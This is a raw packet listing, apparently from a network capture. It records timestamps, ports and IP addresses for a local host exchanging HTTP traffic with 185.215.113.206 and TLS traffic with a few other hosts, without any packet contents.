Oct 28, 2024 02:07:16.293324947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293332100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293334961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293346882 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293354034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293356895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293396950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293396950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293396950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293816090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293827057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293836117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293840885 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293859005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.293886900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.293919086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294150114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294161081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294173002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294208050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294239998 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294465065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294476032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294486046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294531107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294567108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294614077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294629097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294640064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294670105 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294687033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294694901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294698954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294711113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.294730902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.294760942 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.336041927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.336066961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.336076021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.336111069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.336179018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.339018106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339029074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339037895 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339081049 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.339128971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.339199066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339210033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339221001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339232922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339246035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.339257956 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.339258909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.339303970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.380922079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.380940914 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.380992889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.381086111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.393170118 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.393587112 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.393618107 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.394081116 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.394087076 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.400930882 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.401365042 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.401395082 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.401763916 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.401770115 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.407891989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.407902956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.407912970 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.407922983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.407957077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.407957077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.407968998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.407984972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.408008099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.408008099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.408045053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.409424067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409435034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409446955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409487009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.409526110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.409528017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409539938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409548998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409576893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.409600019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.409687996 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.409857035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409866095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409905910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.409971952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409981966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.409992933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410003901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410012007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410029888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410046101 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410171986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410181046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410213947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410222054 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410237074 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410265923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410295963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410305023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410340071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410351992 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410362005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410372972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410382986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410394907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410403013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410429001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410455942 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410659075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410691977 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.410702944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410712004 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.410717010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410726070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410753012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410775900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410948992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410959005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410969973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410980940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.410995007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.410995960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411005974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411010027 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411022902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411031961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411036015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411051989 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411082983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411355019 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.411360025 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.411385059 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411423922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411432981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411442995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411479950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411497116 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411597013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411607027 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411612988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411623001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411649942 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411673069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411674023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411689997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411703110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411710978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.411714077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411765099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.411765099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.412116051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.412127972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.412142038 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.412159920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.412178993 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.415787935 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.416086912 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.416165113 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.416482925 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.416500092 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.425863028 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.426234007 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.426263094 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.426785946 CET	49721	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.426791906 CET	443	49721	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.453129053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.453140974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.453183889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.453224897 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.453366995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.453376055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.453416109 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456012964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456060886 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456079960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456098080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456106901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456125021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456140041 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456321001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456330061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456362963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456372976 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456396103 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456408024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456422091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456434011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.456443071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456466913 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.456494093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.460298061 CET	443	49706	173.222.162.64	192.168.2.6
Oct 28, 2024 02:07:16.460402966 CET	49706	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:16.520669937 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.520874023 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.520960093 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.521025896 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.521040916 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.521125078 CET	49717	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.521130085 CET	443	49717	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.523688078 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.523721933 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.523811102 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.523974895 CET	49722	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.523989916 CET	443	49722	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.525224924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.525244951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.525257111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.525266886 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.525295019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.525310993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.525336981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.525362968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.526742935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.526813984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.526823044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.526834011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.526844978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.526873112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.526878119 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.526894093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.526905060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.526932001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.526951075 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527184010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527204037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527220964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527242899 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527278900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527278900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527507067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527558088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527575970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527595997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527610064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527632952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527666092 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527672052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527688026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527728081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527731895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527761936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527791023 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527822018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527898073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527934074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527976036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.527977943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.527996063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528012991 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528037071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528063059 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528075933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528100014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528126001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528143883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528203011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528238058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528273106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528290033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528290033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528307915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528336048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528342962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528356075 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528379917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528395891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528415918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528450012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528476000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528630972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528666019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528702974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528702974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528719902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528753996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528779030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528789043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528805017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528825045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528850079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528861046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528881073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528896093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528917074 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528930902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528948069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.528966904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.528990984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529005051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529020071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529067039 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529200077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529253960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529264927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529305935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529309988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529342890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529367924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529376984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529403925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529413939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:16.529428005 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.529484034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:16.535505056 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.536134958 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.536212921 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.536449909 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.536449909 CET	49720	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.536473989 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.536484003 CET	443	49720	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.538666964 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.538701057 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.538820982 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.538949966 CET	49723	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.538961887 CET	443	49723	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.544209003 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.544416904 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.544497967 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.544524908 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.544524908 CET	49719	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.544538021 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.544548988 CET	443	49719	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.546521902 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.546622038 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.546715975 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.546837091 CET	49724	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.546875000 CET	443	49724	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.547014952 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.547241926 CET	443	49718	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:16.547358036 CET	49718	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:16.547358990 CET	49718	443	192.168.2.6	13.107.246.60
